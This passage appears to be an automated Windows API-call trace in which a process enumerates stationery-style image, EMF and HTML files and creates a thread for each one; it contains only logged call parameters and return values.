	[0166.945] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0bd9df, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Hand Prints.htm", cAlternateFileName="")) returned 1
	[0166.945] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0166.946] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x570
	[0166.947] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.948] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa45cbf3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x7c, dwReserved1=0x0, cFileName="HandPrints.jpg", cAlternateFileName="")) returned 1
	[0166.948] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0166.949] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x574
	[0166.950] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.951] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5192b38, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5192b38, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4480f815, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x252ec, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Memo.emf", cAlternateFileName="")) returned 1
	[0166.951] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0166.952] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x578
	[0166.953] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.954] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4e4cd3a, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4e4cd3a, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44835973, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Monet.jpg", cAlternateFileName="")) returned 1
	[0166.954] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0166.955] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x57c
	[0166.957] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.957] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc51dedf2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc51dedf2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1060, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Month_Calendar.emf", cAlternateFileName="")) returned 1
	[0166.957] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0166.958] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x580
	[0166.960] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.960] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc522b0ac, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc522b0ac, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x65b4, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Music.emf", cAlternateFileName="")) returned 1
	[0166.960] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0166.961] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x584
	[0166.964] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.964] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ebf151, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ebf151, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b2f4cb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb86, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Notebook.jpg", cAlternateFileName="")) returned 1
	[0166.964] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0166.965] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x588
	[0166.967] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.968] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0e3b3c, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Orange Circles.htm", cAlternateFileName="")) returned 1
	[0166.968] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0166.969] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x58c
	[0167.136] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.137] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa4cf00d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x7c, dwReserved1=0x0, cFileName="OrangeCircles.jpg", cAlternateFileName="")) returned 1
	[0167.137] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0167.138] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x590
	[0167.140] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.141] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce109c99, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 1
	[0167.141] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0167.141] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x594
	[0167.143] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.144] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa51b2c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1
	[0167.144] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0167.145] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x598
	[0167.146] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.147] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f0b40b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f0b40b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b55629, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf8d, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Pine_Lumber.jpg", cAlternateFileName="")) returned 1
	[0167.147] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0167.148] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x59c
	[0167.150] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.151] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f31568, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f31568, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Pretty_Peacock.jpg", cAlternateFileName="")) returned 1
	[0167.151] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0167.152] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a0
	[0167.153] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.154] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f7d822, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f7d822, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36e1, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Psychedelic.jpg", cAlternateFileName="")) returned 1
	[0167.154] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0167.154] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a4
	[0167.157] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.157] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce12fdf6, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 1
	[0167.157] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0167.158] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a8
	[0167.160] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.160] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa567585, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 1
	[0167.161] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0167.161] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5ac
	[0167.163] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.164] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc53cdfab, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc53cdfab, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45148cd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Sand_Paper.jpg", cAlternateFileName="")) returned 1
	[0167.164] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0167.165] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b0
	[0167.166] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.167] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5277366, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5277366, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4516ee37, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x91c4, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Seyes.emf", cAlternateFileName="")) returned 1
	[0167.167] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0167.168] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b4
	[0167.169] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.170] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce17c0b0, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Shades of Blue.htm", cAlternateFileName="")) returned 1
	[0167.170] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0167.171] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b8
	[0167.264] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.265] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa58d6e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ShadesOfBlue.jpg", cAlternateFileName="")) returned 1
	[0167.265] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0167.266] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5bc
	[0167.268] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.269] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc530f8da, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc530f8da, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45194f95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13d8c, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Shorthand.emf", cAlternateFileName="")) returned 1
	[0167.269] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0167.270] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c0
	[0167.272] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.273] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc541a265, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc541a265, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x451bb0f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Small_News.jpg", cAlternateFileName="")) returned 1
	[0167.273] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0167.274] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c4
	[0167.276] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.277] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1a220d, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Soft Blue.htm", cAlternateFileName="")) returned 1
	[0167.277] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0167.278] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c8
	[0167.280] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.281] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5b3841, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x7c, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1
	[0167.281] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0167.282] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5cc
	[0167.283] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.284] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1c836a, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 1
	[0167.284] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0167.285] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d0
	[0167.286] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.287] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce4037dd, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce4037dd, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5ffafd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 1
	[0167.287] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0167.288] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d4
	[0167.291] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.291] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54403c2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54403c2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x452797c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Stucco.gif", cAlternateFileName="")) returned 1
	[0167.291] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0167.292] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d8
